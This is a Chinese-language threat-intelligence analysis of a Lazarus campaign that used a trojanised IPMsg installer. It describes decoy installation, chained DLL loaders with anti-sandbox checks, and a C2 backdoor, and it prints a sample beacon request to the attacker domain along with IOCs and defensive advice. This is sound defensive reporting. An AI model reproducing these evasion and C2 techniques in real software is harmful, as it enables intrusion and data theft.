攻击者向目标发送了武器化的IPMsg安装程序。当用户执行这个程序后,它会释放一个恶意的DLL文件。这个DLL文件首先会释放官方版本的IPMsg安装程序5.6.18.0并执行,以此来迷惑用户。接着,恶意DLL文件会在内存中解密并释放多个额外的DLL文件。这些DLL文件经过一系列操作后,最终形成了一个后门,持续与远程的控制服务器(C2)进行通信。通过这种通信,攻击者可以获取并执行后续的载荷,进一步实施攻击和窃取敏感信息。
图1 攻击流程图
在执行武器化的IPMsg安装程序后,样本首先从数据段解密PE文件,模块名为ATT_Loader_DLL.dll。随后,程序控制流跳转至导出函数WinOrgBinW处开始执行。
图2 解密PE文件
攻击者在ATT_Loader_DLL.dll的WinOrgBinW函数入口处进行了校验,以确保栈中的字符与内存中的字符相匹配,我们将其称为DLL校验值。这些栈中的字符是由释放该DLL的样本所写入的,从而防止了DLL样本在沙箱环境中独立运行。同样地,在后续释放的DLL中也进行了类似的校验。
图3 防御规避手段
ATT_Loader_DLL.dll在%appdata%\installer.exe路径下释放了官方版本IPMsg Installer 5.6.18.0程序,并打开执行。
图4 释放官方IPMsg Installer程序
接着,程序加载了数据段中保存的另一个DLL文件,导出名为Loader1.dll,并执行了其导出函数GetsPrintW。
图5 执行Loader1.dll导出函数GetsPrintW
Loader1.dll再次解密了一个DLL文件,并加载了其导出函数GetWindowSizedW。在这个过程中,再次解密的DLL导出模块名为Dll64.dll。
图6 解密和加载Dll64.dll
Dll64.dll将DLL校验值和系统当前时间进行Base64编码,然后生成一些包含随机字符的字符串,并将其作为HTTP请求的一部分发送出去。以下是一个示例:
表1 HTTP请求示例
POST /upgrade/latest.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: cryptocopedia.com
Content-Length: 165
Cache-Control: no-cache
NT=OTDJHGPNHK&WPKQO=MDcwMTY0NDB6NUYyNWg4Nw==&AQUG=&LKJGDZ=0&HCRPGG=52&GFJLEC=MgAwADIANAAtADEAMQAtADEANQAgADEAMgA6ADEANAA6ADAAOQA=&QTUYVKP=VEAADXTKHXWDDO&AMMMWIFVR=OM
图7 通过随机字符串创建HTTP请求并发送请求
随后,样本从命令和控制(C2)服务器接收数据。
图8 接收数据
接下来,样本对接收到的数据进行处理,将其中的空格替换为+符号。
图9 替换空格代码
接下来,样本使用已知的字典对数据进行替换解码,以获得正常的数据。
图10 数据解码
解码后的数据被分为五个部分,分别以“|”符号分割。这五个部分的数据分别表示:后续DLL执行结果每次传输到C2的最大尺寸(KB)、再次接收载荷的长度、DLL的导出函数、与前述类似的DLL校验值以及载荷的MD5哈希值。
图11 获取数据五个部分
在成功解析这五个部分后,样本开始从命令和控制(C2)服务器获取后续载荷。
图12 从C2获取载荷
样本对接收到的载荷计算MD5哈希值,并将其与之前接收的MD5数值进行比较。如果两者不匹配,则向命令和控制(C2)服务器发送“hash error”的错误信息。
图13 MD5比对
在成功校验载荷后,使用流密码算法HC-256进行解密。
图14 hc-256解密数据
解密后的数据是一个ZIP压缩文件。样本会检查压缩文件内的DLL文件名是否为'Z'。
图15 ZIP校验
如果校验成功,样本会对ZIP文件进行解压缩,并对其中的DLL文件进行校验。如果校验失败,则向命令和控制(C2)服务器发送“Dll Data Error”的错误信息。
图16 DLL校验
接下来,样本执行之前解析的DLL导出函数,并对其执行结果进行CRC32校验。
图17 执行导出函数
图18 CRC32校验
最后,样本将导出函数的执行结果分段发送到远程的命令和控制(C2)服务器,其中每次传输的最大尺寸根据之前获取的“后续DLL执行结果每次传输到C2的最大尺寸(KB)”数据来确定。
图19 数据发送到C2
在完成上述通信后,样本会进入休眠状态一段时间。然后,在while (1)循环结构的作用下,样本会反复与命令和控制(C2)服务器进行通信,获取数据并形成后门机制。
图20 样本持续性通信
在这次攻击活动中,Lazarus组织使用了域名cryptocopedia[.]com作为其控制服务器(C2)。值得注意的是,这个域名在Lazarus组织的其他活动中也曾被使用过[1][2]。此外,本次攻击活动中使用的URL(https://cryptocopedia[.]com/upgrade/latest.asp)与Lazarus组织以往活动中使用的URL(https://cryptocopedia[.]com/explorer/search.asp)非常相似。
其次,结合地缘政治目标以及武器化官方程序的特征,我们发现这些都与Lazarus组织所表现出的战术、技术和程序(TTP)特征相符。因此,我们有理由相信此次攻击活动是由Lazarus组织发起的。
在本次攻击活动中,Lazarus组织巧妙地构建了IPMsg安装程序,诱使用户执行,其最终目的是窃取用户的重要信息。基于我们的深入洞察和分析,我们已经制定了一系列专门的防范和排查建议,旨在帮助识别和防御类似的恶意活动。
警惕社交平台来源:对于所有通过社交平台接收到的文件和链接,保持高度警惕,特别是那些来自未知或不可信来源的。不要轻易信任或打开这些来源的文件。
从官方平台下载程序:确保应用程序来源于官方,并使用360安全卫士进行全面扫描。
使用360安全卫士:利用360安全卫士全面扫描系统,寻找恶意软件和其他可疑活动的迹象。
员工安全意识培训:定期对员工进行安全意识培训,帮助他们识别潜在的网络钓鱼攻击和可疑通信,提高安全防范能力。
及时更新操作系统和软件:定期更新操作系统和所有软件,包括安全防护软件。确保及时修补已知的安全漏洞,降低被攻击的风险。
a7b23cd8b09a3ce918a77de355e9d3e5
https://cryptocopedia[.]com/upgrade/latest.asp
[1]https://blog.phylum.io/new-tactics-from-a-familiar-threat/
[2]https://hackhunting.com/2024/08/24/software-supply-chain-threat-landscape-july-2024-pypi-npm-github-and-macos/